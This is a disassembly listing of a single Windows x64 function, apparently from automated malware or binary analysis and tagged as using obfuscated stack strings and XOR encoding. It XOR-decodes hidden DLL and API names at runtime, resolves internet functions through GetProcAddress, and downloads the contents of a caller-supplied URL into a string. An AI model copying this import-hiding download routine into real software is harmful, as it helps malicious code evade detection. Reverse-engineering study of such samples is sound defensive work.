Function at 0x140001570
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x400]
sub rsp, 0x500
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
mov qword [rbp - 0x40], rdx
mov rbx, rcx
mov qword [rbp - 0x38], rcx
xor edi, edi
mov al, 0xb
mov dword [rsp + 0x50], 0x5c000b
mov dword [rsp + 0x54], 0x650062
mov dword [rsp + 0x58], 0x650062
mov dword [rsp + 0x5c], 0x7f006e
mov dword [rsp + 0x60], 0x6f0025
mov dword [rsp + 0x64], 0x670067
mov word [rsp + 0x68], di
mov ecx, edi
nop word [rax + rax]
movsx eax, al
xor word [rsp + rcx*2 + 0x52], ax
inc rcx
cmp rcx, 0xb
jae 0x140001608
movzx eax, byte [rsp + 0x50]
jmp 0x1400015f0
mov word [rsp + 0x68], di
lea rcx, [rsp + 0x52]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r14, rax
mov cl, 0x74
mov dword [rsp + 0x30], 0x1a3d74
mov dword [rsp + 0x34], 0x111a0611
mov dword [rsp + 0x38], 0x11043b00
mov word [rsp + 0x3c], 0x351a
mov byte [rsp + 0x3e], dil
mov rax, rdi
nop dword [rax]
nop dword [rax + rax]
xor byte [rsp + rax + 0x31], cl
inc rax
cmp rax, 0xd
jae 0x140001664
movzx ecx, byte [rsp + 0x30]
jmp 0x140001650
mov byte [rsp + 0x3e], dil
lea rdx, [rsp + 0x31]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
movdqa xmm0, xmmword [0x14001b9c0]
movdqu xmmword [rbp - 0x78], xmm0
mov word [rbp - 0x68], 0x2e
mov rdx, rdi
movzx ecx, byte [rbp - 0x78]
xor byte [rbp + rdx - 0x77], cl
inc rdx
cmp rdx, 0x10
jb 0x140001690
mov byte [rbp - 0x67], dil
lea rdx, [rbp - 0x77]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
movdqa xmm0, xmmword [0x14001ba10]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x50], 0x7d
mov rdx, rdi
nop dword [rax + rax]
movzx ecx, byte [rbp - 0x60]
xor byte [rbp + rdx - 0x5f], cl
inc rdx
cmp rdx, 0x10
jb 0x1400016d0
mov byte [rbp - 0x4f], dil
lea rdx, [rbp - 0x5f]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
movdqa xmm0, xmmword [0x14001ba20]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x727b7379
mov byte [rbp - 0x7c], dil
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x71], al
inc rcx
cmp rcx, 0x13
jb 0x140001720
mov byte [rbp - 0x7c], dil
lea rdx, [rsp + 0x71]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov dword [rsp + 0x40], 0x54544870
mov dword [rsp + 0x44], 0x54454750
mov byte [rsp + 0x48], dil
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rsp + 0x41]
call r15
mov r15, rax
test rax, rax
je 0x1400017a3
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x40]
mov rcx, rax
call rsi
mov rsi, rax
test rax, rax
jne 0x1400017c6
mov rcx, r15
call r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
jmp 0x140001967
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov qword [rbp - 0x20], rdi
mov dword [rbp - 0x38], edi
nop word [rax + rax]
lea r9, [rbp - 0x38]
mov r8d, 0x400
lea rdx, [rbp - 0x10]
mov rcx, rsi
call r13
test eax, eax
je 0x140001994
mov eax, dword [rbp - 0x38]
test eax, eax
je 0x14000181d
mov r9d, eax
lea r8, [rbp - 0x10]
mov rdx, qword [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140002050
cmp dword [rbp - 0x38], 0
ja 0x1400017e0
mov rcx, rsi
call r12
mov rcx, r15
call r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r14, qword [rbp - 0x30]
mov rsi, qword [rbp - 0x28]
cmp r14, rsi
jne 0x140001861
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
jmp 0x14000192e
sub rsi, r14
movabs r15, 0x7fffffffffffffff
cmp rsi, r15
ja 0x140001a06
mov qword [rbx + 0x18], 0xf
cmp rsi, 0xf
ja 0x1400018a0
mov qword [rbx + 0x10], rsi
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call fcn.1400127a0
mov byte [rsi + rbx], 0
jmp 0x14000192e
mov rax, rsi
or rax, 0xf
cmp rax, r15
jbe 0x1400018d9
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400023e0
test rax, rax
je 0x1400019f4
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001911
mov r15, rax
mov ecx, 0x16
cmp rax, rcx
cmovb r15, rcx
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x140001904
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400019fa
jmp 0x1400018ba
test rcx, rcx
je 0x140001911
call fcn.1400023e0
mov rdi, rax
mov qword [rbx], rdi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], r15
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call fcn.1400127a0
mov byte [rdi + rsi], 0
test r14, r14
je 0x140001967
mov rdx, qword [rbp - 0x20]
sub rdx, r14
mov rax, r14
cmp rdx, 0x1000
jb 0x14000195f
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a00
mov rcx, r14
call fcn.14000241c
mov rax, rbx
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.1400023c0
mov rbx, qword [rsp + 0x550]
add rsp, 0x500
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rcx, rsi
call r12
mov rcx, r15
call r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x140001967
mov rdx, qword [rbp - 0x20]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001962
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a00
jmp 0x140001962
call fcn.140008f9c
int3
call fcn.140001100
nop
call fcn.140008f9c
nop
call fcn.1400011a0
int3